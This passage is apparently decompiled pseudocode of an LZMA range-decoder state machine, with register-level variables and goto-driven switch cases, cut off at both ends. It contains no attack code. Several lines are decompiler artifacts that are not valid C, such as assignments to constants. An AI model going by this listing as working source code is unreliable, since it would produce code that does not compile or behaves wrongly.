                                                                                    								goto L174;
                                                                                    							} else {
                                                                                    								goto L22;
                                                                                    							}
                                                                                    						case 2:
                                                                                    							L26:
                                                                                    							_t557 = _v100 & _v32;
                                                                                    							_v136 = 6;
                                                                                    							_v80 = _t557;
                                                                                    							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
                                                                                    							goto L135;
                                                                                    						case 3:
                                                                                    							L23:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 3;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_t72 =  &_v116;
                                                                                    							 *_t72 = _v116 + 1;
                                                                                    							__eflags =  *_t72;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							L25:
                                                                                    							_v76 = _v76 - 1;
                                                                                    							__eflags = _v76;
                                                                                    							if(_v76 != 0) {
                                                                                    								goto L23;
                                                                                    							}
                                                                                    							goto L26;
                                                                                    						case 4:
                                                                                    							L136:
                                                                                    							_t559 =  *_t626;
                                                                                    							_t610 = _t559 & 0x0000ffff;
                                                                                    							_t591 = (_v20 >> 0xb) * _t610;
                                                                                    							__eflags = _v16 - _t591;
                                                                                    							if(_v16 >= _t591) {
                                                                                    								_v20 = _v20 - _t591;
                                                                                    								_v16 = _v16 - _t591;
                                                                                    								_v68 = 1;
                                                                                    								_t560 = _t559 - (_t559 >> 5);
                                                                                    								__eflags = _t560;
                                                                                    								 *_t626 = _t560;
                                                                                    							} else {
                                                                                    								_v20 = _t591;
                                                                                    								_v68 = _v68 & 0x00000000;
                                                                                    								 *_t626 = (0x800 - _t610 >> 5) + _t559;
                                                                                    							}
                                                                                    							__eflags = _v20 - 0x1000000;
                                                                                    							if(_v20 >= 0x1000000) {
                                                                                    								goto L142;
                                                                                    							} else {
                                                                                    								goto L140;
                                                                                    							}
                                                                                    						case 5:
                                                                                    							L140:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 5;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							_v20 = _v20 << 8;
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_t464 =  &_v116;
                                                                                    							 *_t464 = _v116 + 1;
                                                                                    							__eflags =  *_t464;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							L142:
                                                                                    							_t561 = _v136;
                                                                                    							goto L143;
                                                                                    						case 6:
                                                                                    							__edx = 0;
                                                                                    							__eflags = _v68;
                                                                                    							if(_v68 != 0) {
                                                                                    								__eax = _v8;
                                                                                    								__ecx = _v60;
                                                                                    								_v56 = 1;
                                                                                    								_v136 = 7;
                                                                                    								__esi = _v8 + 0x180 + _v60 * 2;
                                                                                    								goto L135;
                                                                                    							}
                                                                                    							__eax = _v96 & 0x000000ff;
                                                                                    							__esi = _v100;
                                                                                    							__cl = 8;
                                                                                    							__cl = 8 - _v64;
                                                                                    							__esi = _v100 & _v28;
                                                                                    							__eax = (_v96 & 0x000000ff) >> 8;
                                                                                    							__ecx = _v64;
                                                                                    							__esi = (_v100 & _v28) << 8;
                                                                                    							__ecx = _v8;
                                                                                    							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
                                                                                    							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
                                                                                    							__eflags = _v60 - 4;
                                                                                    							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                                                                    							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
                                                                                    							if(_v60 >= 4) {
                                                                                    								__eflags = _v60 - 0xa;
                                                                                    								if(_v60 >= 0xa) {
                                                                                    									_t103 =  &_v60;
                                                                                    									 *_t103 = _v60 - 6;
                                                                                    									__eflags =  *_t103;
                                                                                    								} else {
                                                                                    									_v60 = _v60 - 3;
                                                                                    								}
                                                                                    							} else {
                                                                                    								_v60 = 0;
                                                                                    							}
                                                                                    							__eflags = _v56 - __edx;
                                                                                    							if(_v56 == __edx) {
                                                                                    								__ebx = 0;
                                                                                    								__ebx = 1;
                                                                                    								goto L63;
                                                                                    							}
                                                                                    							__eax = _v24;
                                                                                    							__eax = _v24 - _v48;
                                                                                    							__eflags = __eax - _v120;
                                                                                    							if(__eax >= _v120) {
                                                                                    								__eax = __eax + _v120;
                                                                                    								__eflags = __eax;
                                                                                    							}
                                                                                    							__ecx = _v12;
                                                                                    							__ebx = 0;
                                                                                    							__ebx = 1;
                                                                                    							__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    							_v95 =  *((intOrPtr*)(__eax + __ecx));
                                                                                    							goto L43;
                                                                                    						case 7:
                                                                                    							__eflags = _v68 - 1;
                                                                                    							if(_v68 != 1) {
                                                                                    								__eax = _v40;
                                                                                    								_v132 = 0x16;
                                                                                    								_v36 = _v40;
                                                                                    								__eax = _v44;
                                                                                    								_v40 = _v44;
                                                                                    								__eax = _v48;
                                                                                    								_v44 = _v48;
                                                                                    								__eax = 0;
                                                                                    								__eflags = _v60 - 7;
                                                                                    								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    								__al = __al & 0x000000fd;
                                                                                    								__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                    								_v60 = (__eflags >= 0) - 1 + 0xa;
                                                                                    								__eax = _v8;
                                                                                    								__eax = _v8 + 0x664;
                                                                                    								__eflags = __eax;
                                                                                    								_v92 = __eax;
                                                                                    								goto L71;
                                                                                    							}
                                                                                    							__eax = _v8;
                                                                                    							__ecx = _v60;
                                                                                    							_v136 = 8;
                                                                                    							__esi = _v8 + 0x198 + _v60 * 2;
                                                                                    							goto L135;
                                                                                    						case 8:
                                                                                    							__eflags = _v68;
                                                                                    							if(_v68 != 0) {
                                                                                    								__eax = _v8;
                                                                                    								__ecx = _v60;
                                                                                    								_v136 = 0xa;
                                                                                    								__esi = _v8 + 0x1b0 + _v60 * 2;
                                                                                    							} else {
                                                                                    								__eax = _v60;
                                                                                    								__ecx = _v8;
                                                                                    								__eax = _v60 + 0xf;
                                                                                    								_v136 = 9;
                                                                                    								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
                                                                                    								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
                                                                                    							}
                                                                                    							goto L135;
                                                                                    						case 9:
                                                                                    							__eflags = _v68;
                                                                                    							if(_v68 != 0) {
                                                                                    								goto L92;
                                                                                    							}
                                                                                    							__eflags = _v100;
                                                                                    							if(_v100 == 0) {
                                                                                    								goto L174;
                                                                                    							}
                                                                                    							__eax = 0;
                                                                                    							__eflags = _v60 - 7;
                                                                                    							_t264 = _v60 - 7 >= 0;
                                                                                    							__eflags = _t264;
                                                                                    							0 | _t264 = _t264 + _t264 + 9;
                                                                                    							_v60 = _t264 + _t264 + 9;
                                                                                    							goto L78;
                                                                                    						case 0xa:
                                                                                    							__eflags = _v68;
                                                                                    							if(_v68 != 0) {
                                                                                    								__eax = _v8;
                                                                                    								__ecx = _v60;
                                                                                    								_v136 = 0xb;
                                                                                    								__esi = _v8 + 0x1c8 + _v60 * 2;
                                                                                    								goto L135;
                                                                                    							}
                                                                                    							__eax = _v44;
                                                                                    							goto L91;
                                                                                    						case 0xb:
                                                                                    							__eflags = _v68;
                                                                                    							if(_v68 != 0) {
                                                                                    								__ecx = _v40;
                                                                                    								__eax = _v36;
                                                                                    								_v36 = _v40;
                                                                                    							} else {
                                                                                    								__eax = _v40;
                                                                                    							}
                                                                                    							__ecx = _v44;
                                                                                    							_v40 = _v44;
                                                                                    							L91:
                                                                                    							__ecx = _v48;
                                                                                    							_v48 = __eax;
                                                                                    							_v44 = _v48;
                                                                                    							L92:
                                                                                    							__eax = _v8;
                                                                                    							_v132 = 0x15;
                                                                                    							__eax = _v8 + 0xa68;
                                                                                    							_v92 = _v8 + 0xa68;
                                                                                    							goto L71;
                                                                                    						case 0xc:
                                                                                    							L102:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 0xc;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__ecx = _v116;
                                                                                    							__eax = _v16;
                                                                                    							_v20 = _v20 << 8;
                                                                                    							__ecx =  *_v116 & 0x000000ff;
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							_t340 =  &_v116;
                                                                                    							 *_t340 = _v116 + 1;
                                                                                    							__eflags =  *_t340;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							__eax = _v48;
                                                                                    							goto L104;
                                                                                    						case 0xd:
                                                                                    							L39:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 0xd;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__ecx = _v116;
                                                                                    							__eax = _v16;
                                                                                    							_v20 = _v20 << 8;
                                                                                    							__ecx =  *_v116 & 0x000000ff;
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							_t127 =  &_v116;
                                                                                    							 *_t127 = _v116 + 1;
                                                                                    							__eflags =  *_t127;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							L41:
                                                                                    							__eax = _v68;
                                                                                    							__eflags = _v76 - _v68;
                                                                                    							if(_v76 != _v68) {
                                                                                    								goto L50;
                                                                                    							}
                                                                                    							__eflags = __ebx - 0x100;
                                                                                    							if(__ebx >= 0x100) {
                                                                                    								goto L56;
                                                                                    							}
                                                                                    							L43:
                                                                                    							__eax = _v95 & 0x000000ff;
                                                                                    							_v95 = _v95 << 1;
                                                                                    							__ecx = _v92;
                                                                                    							__eax = (_v95 & 0x000000ff) >> 7;
                                                                                    							_v76 = __eax;
                                                                                    							__eax = __eax + 1;
                                                                                    							__eax = __eax << 8;
                                                                                    							__eax = __eax + __ebx;
                                                                                    							__esi = _v92 + __eax * 2;
                                                                                    							_v20 = _v20 >> 0xb;
                                                                                    							__ax =  *__esi;
                                                                                    							_v88 = __esi;
                                                                                    							__edx = __ax & 0x0000ffff;
                                                                                    							__ecx = (_v20 >> 0xb) * __edx;
                                                                                    							__eflags = _v16 - __ecx;
                                                                                    							if(_v16 >= __ecx) {
                                                                                    								_v20 = _v20 - __ecx;
                                                                                    								_v16 = _v16 - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								_v68 = 1;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__eflags = __eax;
                                                                                    								__ebx = __ebx + __ebx + 1;
                                                                                    								 *__esi = __ax;
                                                                                    							} else {
                                                                                    								_v68 = _v68 & 0x00000000;
                                                                                    								_v20 = __ecx;
                                                                                    								0x800 = 0x800 - __edx;
                                                                                    								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							__eflags = _v20 - 0x1000000;
                                                                                    							_v72 = __ebx;
                                                                                    							if(_v20 >= 0x1000000) {
                                                                                    								goto L41;
                                                                                    							} else {
                                                                                    								goto L39;
                                                                                    							}
                                                                                    						case 0xe:
                                                                                    							L48:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 0xe;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__ecx = _v116;
                                                                                    							__eax = _v16;
                                                                                    							_v20 = _v20 << 8;
                                                                                    							__ecx =  *_v116 & 0x000000ff;
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							_t161 =  &_v116;
                                                                                    							 *_t161 = _v116 + 1;
                                                                                    							__eflags =  *_t161;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							while(1) {
                                                                                    								L50:
                                                                                    								__eflags = __ebx - 0x100;
                                                                                    								if(__ebx >= 0x100) {
                                                                                    									break;
                                                                                    								}
                                                                                    								__eax = _v92;
                                                                                    								__edx = __ebx + __ebx;
                                                                                    								__ecx = _v20;
                                                                                    								__esi = __edx + __eax;
                                                                                    								__ecx = _v20 >> 0xb;
                                                                                    								__ax =  *__esi;
                                                                                    								_v88 = __esi;
                                                                                    								__edi = __ax & 0x0000ffff;
                                                                                    								__ecx = (_v20 >> 0xb) * __edi;
                                                                                    								__eflags = _v16 - __ecx;
                                                                                    								if(_v16 >= __ecx) {
                                                                                    									_v20 = _v20 - __ecx;
                                                                                    									_v16 = _v16 - __ecx;
                                                                                    									__cx = __ax;
                                                                                    									_t175 = __edx + 1; // 0x1
                                                                                    									__ebx = _t175;
                                                                                    									__cx = __ax >> 5;
                                                                                    									__eflags = __eax;
                                                                                    									 *__esi = __ax;
                                                                                    								} else {
                                                                                    									_v20 = __ecx;
                                                                                    									0x800 = 0x800 - __edi;
                                                                                    									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    									__ebx = __ebx + __ebx;
                                                                                    									 *__esi = __cx;
                                                                                    								}
                                                                                    								__eflags = _v20 - 0x1000000;
                                                                                    								_v72 = __ebx;
                                                                                    								if(_v20 >= 0x1000000) {
                                                                                    									continue;
                                                                                    								} else {
                                                                                    									goto L48;
                                                                                    								}
                                                                                    							}
                                                                                    							L56:
                                                                                    							_t178 =  &_v56;
                                                                                    							 *_t178 = _v56 & 0x00000000;
                                                                                    							__eflags =  *_t178;
                                                                                    							goto L57;
                                                                                    						case 0xf:
                                                                                    							L60:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 0xf;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__ecx = _v116;
                                                                                    							__eax = _v16;
                                                                                    							_v20 = _v20 << 8;
                                                                                    							__ecx =  *_v116 & 0x000000ff;
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							_t208 =  &_v116;
                                                                                    							 *_t208 = _v116 + 1;
                                                                                    							__eflags =  *_t208;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							L62:
                                                                                    							__eflags = __ebx - 0x100;
                                                                                    							if(__ebx >= 0x100) {
                                                                                    								L57:
                                                                                    								__al = _v72;
                                                                                    								_v96 = _v72;
                                                                                    								goto L58;
                                                                                    							}
                                                                                    							L63:
                                                                                    							__eax = _v92;
                                                                                    							__edx = __ebx + __ebx;
                                                                                    							__ecx = _v20;
                                                                                    							__esi = __edx + __eax;
                                                                                    							__ecx = _v20 >> 0xb;
                                                                                    							__ax =  *__esi;
                                                                                    							_v88 = __esi;
                                                                                    							__edi = __ax & 0x0000ffff;
                                                                                    							__ecx = (_v20 >> 0xb) * __edi;
                                                                                    							__eflags = _v16 - __ecx;
                                                                                    							if(_v16 >= __ecx) {
                                                                                    								_v20 = _v20 - __ecx;
                                                                                    								_v16 = _v16 - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								_t222 = __edx + 1; // 0x1
                                                                                    								__ebx = _t222;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__eflags = __eax;
                                                                                    								 *__esi = __ax;
                                                                                    							} else {
                                                                                    								_v20 = __ecx;
                                                                                    								0x800 = 0x800 - __edi;
                                                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							__eflags = _v20 - 0x1000000;
                                                                                    							_v72 = __ebx;
                                                                                    							if(_v20 >= 0x1000000) {
                                                                                    								goto L62;
                                                                                    							} else {
                                                                                    								goto L60;
                                                                                    							}
                                                                                    						case 0x10:
                                                                                    							L112:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 0x10;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__ecx = _v116;
                                                                                    							__eax = _v16;
                                                                                    							_v20 = _v20 << 8;
                                                                                    							__ecx =  *_v116 & 0x000000ff;
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							_t371 =  &_v116;
                                                                                    							 *_t371 = _v116 + 1;
                                                                                    							__eflags =  *_t371;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							goto L114;
                                                                                    						case 0x11:
                                                                                    							L71:
                                                                                    							__esi = _v92;
                                                                                    							_v136 = 0x12;
                                                                                    							goto L135;
                                                                                    						case 0x12:
                                                                                    							__eflags = _v68;
                                                                                    							if(_v68 != 0) {
                                                                                    								__eax = _v92;
                                                                                    								_v136 = 0x13;
                                                                                    								__esi = _v92 + 2;
                                                                                    								L135:
                                                                                    								_v88 = _t626;
                                                                                    								goto L136;
                                                                                    							}
                                                                                    							__eax = _v80;
                                                                                    							_v52 = _v52 & 0x00000000;
                                                                                    							__ecx = _v92;
                                                                                    							__eax = _v80 << 4;
                                                                                    							__eflags = __eax;
                                                                                    							__eax = _v92 + __eax + 4;
                                                                                    							goto L133;
                                                                                    						case 0x13:
                                                                                    							__eflags = _v68;
                                                                                    							if(_v68 != 0) {
                                                                                    								_t475 =  &_v92;
                                                                                    								 *_t475 = _v92 + 0x204;
                                                                                    								__eflags =  *_t475;
                                                                                    								_v52 = 0x10;
                                                                                    								_v68 = 8;
                                                                                    								L147:
                                                                                    								_v128 = 0x14;
                                                                                    								goto L148;
                                                                                    							}
                                                                                    							__eax = _v80;
                                                                                    							__ecx = _v92;
                                                                                    							__eax = _v80 << 4;
                                                                                    							_v52 = 8;
                                                                                    							__eax = _v92 + (_v80 << 4) + 0x104;
                                                                                    							L133:
                                                                                    							_v92 = __eax;
                                                                                    							_v68 = 3;
                                                                                    							goto L147;
                                                                                    						case 0x14:
                                                                                    							_v52 = _v52 + __ebx;
                                                                                    							__eax = _v132;
                                                                                    							goto L143;
                                                                                    						case 0x15:
                                                                                    							__eax = 0;
                                                                                    							__eflags = _v60 - 7;
                                                                                    							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    							__al = __al & 0x000000fd;
                                                                                    							__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    							_v60 = (__eflags >= 0) - 1 + 0xb;
                                                                                    							goto L123;
                                                                                    						case 0x16:
                                                                                    							__eax = _v52;
                                                                                    							__eflags = __eax - 4;
                                                                                    							if(__eax >= 4) {
                                                                                    								_push(3);
                                                                                    								_pop(__eax);
                                                                                    							}
                                                                                    							__ecx = _v8;
                                                                                    							_v68 = 6;
                                                                                    							__eax = __eax << 7;
                                                                                    							_v128 = 0x19;
                                                                                    							_v92 = __eax;
                                                                                    							goto L148;
                                                                                    						case 0x17:
                                                                                    							L148:
                                                                                    							__eax = _v68;
                                                                                    							_v84 = 1;
                                                                                    							_v76 = _v68;
                                                                                    							goto L152;
                                                                                    						case 0x18:
                                                                                    							L149:
                                                                                    							__eflags = _v112;
                                                                                    							if(_v112 == 0) {
                                                                                    								_v140 = 0x18;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__ecx = _v116;
                                                                                    							__eax = _v16;
                                                                                    							_v20 = _v20 << 8;
                                                                                    							__ecx =  *_v116 & 0x000000ff;
                                                                                    							_v112 = _v112 - 1;
                                                                                    							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							_t490 =  &_v116;
                                                                                    							 *_t490 = _v116 + 1;
                                                                                    							__eflags =  *_t490;
                                                                                    							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                    							L151:
                                                                                    							_t493 =  &_v76;
                                                                                    							 *_t493 = _v76 - 1;
                                                                                    							__eflags =  *_t493;
                                                                                    							L152:
                                                                                    							__eflags = _v76;
                                                                                    							if(_v76 <= 0) {
                                                                                    								__ecx = _v68;
                                                                                    								__ebx = _v84;
                                                                                    								0 = 1;
                                                                                    								__eax = 1 << __cl;
                                                                                    								__ebx = _v84 - (1 << __cl);
                                                                                    								__eax = _v128;
                                                                                    								_v72 = __ebx;
                                                                                    								L143:
                                                                                    								_v140 = _t561;
                                                                                    								goto L3;
                                                                                    							}
                                                                                    							__eax = _v84;
                                                                                    							_v20 = _v20 >> 0xb;
                                                                                    							__edx = _v84 + _v84;
                                                                                    							__eax = _v92;
                                                                                    							__esi = __edx + __eax;
                                                                                    							_v88 = __esi;
                                                                                    							__ax =  *__esi;
                                                                                    							__edi = __ax & 0x0000ffff;
                                                                                    							__ecx = (_v20 >> 0xb) * __edi;
                                                                                    							__eflags = _v16 - __ecx;
                                                                                    							if(_v16 >= __ecx) {
                                                                                    								_v20 = _v20 - __ecx;
                                                                                    								_v16 = _v16 - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__eax = __eax - __ecx;
                                                                                    								__edx = __edx + 1;
                                                                                    								__eflags = __edx;
                                                                                    								 *__esi = __ax;
                                                                                    								_v84 = __edx;
                                                                                    							} else {
                                                                                    								_v20 = __ecx;
                                                                                    								0x800 = 0x800 - __edi;
                                                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    								_v84 = _v84 << 1;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							__eflags = _v20 - 0x1000000;
                                                                                    							if(_v20 >= 0x1000000) {
                                                                                    								goto L151;
                                                                                    							} else {
                                                                                    								goto L149;
                                                                                    							}
                                                                                    						case 0x19:
                                                                                    							__eflags = __ebx - 4;
                                                                                    							if(__ebx < 4) {
                                                                                    								_v48 = __ebx;
                                                                                    								L122:
                                                                                    								_t399 =  &_v48;
                                                                                    								 *_t399 = _v48 + 1;
                                                                                    								__eflags =  *_t399;
                                                                                    								L123:
                                                                                    								__eax = _v48;
                                                                                    								__eflags = __eax;
                                                                                    								if(__eax == 0) {
                                                                                    									_v52 = _v52 | 0xffffffff;
                                                                                    									goto L173;
                                                                                    								}
                                                                                    								__eflags = __eax - _v100;
                                                                                    								if(__eax > _v100) {
                                                                                    									goto L174;
                                                                                    								}
                                                                                    								_v52 = _v52 + 2;
                                                                                    								__eax = _v52;
                                                                                    								_t406 =  &_v100;
                                                                                    								 *_t406 = _v100 + _v52;
                                                                                    								__eflags =  *_t406;
                                                                                    								goto L126;
                                                                                    							}
                                                                                    							__ecx = __ebx;
                                                                                    							__eax = __ebx;
                                                                                    							__ecx = __ebx >> 1;
                                                                                    							__eax = __ebx & 0x00000001;
                                                                                    							__ecx = (__ebx >> 1) - 1;
                                                                                    							__al = __al | 0x00000002;
                                                                                    							__eax = (__ebx & 0x00000001) << __cl;
                                                                                    							__eflags = __ebx - 0xe;
                                                                                    							_v48 = __eax;
                                                                                    							if(__ebx >= 0xe) {
                                                                                    								__ebx = 0;
                                                                                    								_v76 = __ecx;
                                                                                    								L105:
                                                                                    								__eflags = _v76;
                                                                                    								if(_v76 <= 0) {
                                                                                    									__eax = __eax + __ebx;
                                                                                    									_v68 = 4;
                                                                                    									_v48 = __eax;
                                                                                    									__eax = _v8;
                                                                                    									__eax = _v8 + 0x644;
                                                                                    									__eflags = __eax;
                                                                                    									L111:
                                                                                    									__ebx = 0;
                                                                                    									_v92 = __eax;
                                                                                    									_v84 = 1;
                                                                                    									_v72 = 0;
                                                                                    									_v76 = 0;
                                                                                    									L115:
                                                                                    									__eax = _v68;
                                                                                    									__eflags = _v76 - _v68;
                                                                                    									if(_v76 >= _v68) {
                                                                                    										_t397 =  &_v48;
                                                                                    										 *_t397 = _v48 + __ebx;
                                                                                    										__eflags =  *_t397;
                                                                                    										goto L122;
                                                                                    									}
                                                                                    									__eax = _v84;
                                                                                    									_v20 = _v20 >> 0xb;
                                                                                    									__edi = _v84 + _v84;
                                                                                    									__eax = _v92;
                                                                                    									__esi = __edi + __eax;
                                                                                    									_v88 = __esi;
                                                                                    									__ax =  *__esi;
                                                                                    									__ecx = __ax & 0x0000ffff;
                                                                                    									__edx = (_v20 >> 0xb) * __ecx;
                                                                                    									__eflags = _v16 - __edx;
                                                                                    									if(_v16 >= __edx) {
                                                                                    										__ecx = 0;
                                                                                    										_v20 = _v20 - __edx;
                                                                                    										__ecx = 1;
                                                                                    										_v16 = _v16 - __edx;
                                                                                    										__ebx = 1;
                                                                                    										__ecx = _v76;
                                                                                    										__ebx = 1 << __cl;
                                                                                    										__ecx = 1 << __cl;
                                                                                    										__ebx = _v72;
                                                                                    										__ebx = _v72 | __ecx;
                                                                                    										__cx = __ax;
                                                                                    										__cx = __ax >> 5;
                                                                                    										__eax = __eax - __ecx;
                                                                                    										__edi = __edi + 1;
                                                                                    										__eflags = __edi;
                                                                                    										_v72 = __ebx;
                                                                                    										 *__esi = __ax;
                                                                                    										_v84 = __edi;
                                                                                    									} else {
                                                                                    										_v20 = __edx;
                                                                                    										0x800 = 0x800 - __ecx;
                                                                                    										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                    										_v84 = _v84 << 1;
                                                                                    										 *__esi = __dx;
                                                                                    									}
                                                                                    									__eflags = _v20 - 0x1000000;
                                                                                    									if(_v20 >= 0x1000000) {
                                                                                    										L114:
                                                                                    										_t374 =  &_v76;
                                                                                    										 *_t374 = _v76 + 1;
                                                                                    										__eflags =  *_t374;
                                                                                    										goto L115;
                                                                                    									} else {
                                                                                    										goto L112;
                                                                                    									}
                                                                                    								}
                                                                                    								__ecx = _v16;
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								_v20 = _v20 >> 1;
                                                                                    								__eflags = _v16 - _v20;
                                                                                    								_v72 = __ebx;
                                                                                    								if(_v16 >= _v20) {
                                                                                    									__ecx = _v20;
                                                                                    									_v16 = _v16 - _v20;
                                                                                    									__ebx = __ebx | 0x00000001;
                                                                                    									__eflags = __ebx;
                                                                                    									_v72 = __ebx;
                                                                                    								}
                                                                                    								__eflags = _v20 - 0x1000000;
                                                                                    								if(_v20 >= 0x1000000) {
                                                                                    									L104:
                                                                                    									_t344 =  &_v76;
                                                                                    									 *_t344 = _v76 - 1;
                                                                                    									__eflags =  *_t344;
                                                                                    									goto L105;
                                                                                    								} else {
                                                                                    									goto L102;
                                                                                    								}
                                                                                    							}
                                                                                    							__edx = _v8;
                                                                                    							__eax = __eax - __ebx;
                                                                                    							_v68 = __ecx;
                                                                                    							__eax = _v8 + 0x55e + __eax * 2;
                                                                                    							goto L111;
                                                                                    						case 0x1a:
                                                                                    							L58:
                                                                                    							__eflags = _v104;
                                                                                    							if(_v104 == 0) {
                                                                                    								_v140 = 0x1a;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__ecx = _v108;
                                                                                    							__al = _v96;
                                                                                    							__edx = _v12;
                                                                                    							_v100 = _v100 + 1;
                                                                                    							_v108 = _v108 + 1;
                                                                                    							_v104 = _v104 - 1;
                                                                                    							 *_v108 = __al;
                                                                                    							__ecx = _v24;
                                                                                    							 *(_v12 + __ecx) = __al;
                                                                                    							__eax = __ecx + 1;
                                                                                    							__edx = 0;
                                                                                    							_t197 = __eax % _v120;
                                                                                    							__eax = __eax / _v120;
                                                                                    							__edx = _t197;
                                                                                    							goto L82;
                                                                                    						case 0x1b:
                                                                                    							L78:
                                                                                    							__eflags = _v104;
                                                                                    							if(_v104 == 0) {
                                                                                    								_v140 = 0x1b;
                                                                                    								goto L173;
                                                                                    							}
                                                                                    							__eax = _v24;
                                                                                    							__eax = _v24 - _v48;
                                                                                    							__eflags = __eax - _v120;
                                                                                    							if(__eax >= _v120) {
                                                                                    								__eax = __eax + _v120;
                                                                                    								__eflags = __eax;
                                                                                    							}
                                                                                    							__edx = _v12;
                                                                                    							__cl =  *(__edx + __eax);
                                                                                    							__eax = _v24;
                                                                                    							_v96 = __cl;
                                                                                    							 *(__edx + __eax) = __cl;
                                                                                    							__eax = __eax + 1;
                                                                                    							__edx = 0;
                                                                                    							_t280 = __eax % _v120;
                                                                                    							__eax = __eax / _v120;
                                                                                    							__edx = _t280;
                                                                                    							__eax = _v108;
                                                                                    							_v100 = _v100 + 1;
                                                                                    							_v108 = _v108 + 1;
                                                                                    							_t289 =  &_v104;
                                                                                    							 *_t289 = _v104 - 1;
                                                                                    							__eflags =  *_t289;
                                                                                    							 *_v108 = __cl;
                                                                                    							L82:
                                                                                    							_v24 = __edx;
                                                                                    							goto L83;
                                                                                    						case 0x1c:
                                                                                    							while(1) {
                                                                                    								L126:
                                                                                    								__eflags = _v104;
                                                                                    								if(_v104 == 0) {
                                                                                    									break;
                                                                                    								}
                                                                                    								__eax = _v24;
                                                                                    								__eax = _v24 - _v48;
                                                                                    								__eflags = __eax - _v120;
                                                                                    								if(__eax >= _v120) {
                                                                                    									__eax = __eax + _v120;
                                                                                    									__eflags = __eax;
                                                                                    								}
                                                                                    								__edx = _v12;
                                                                                    								__cl =  *(__edx + __eax);
                                                                                    								__eax = _v24;
                                                                                    								_v96 = __cl;
                                                                                    								 *(__edx + __eax) = __cl;
                                                                                    								__eax = __eax + 1;
                                                                                    								__edx = 0;
                                                                                    								_t420 = __eax % _v120;
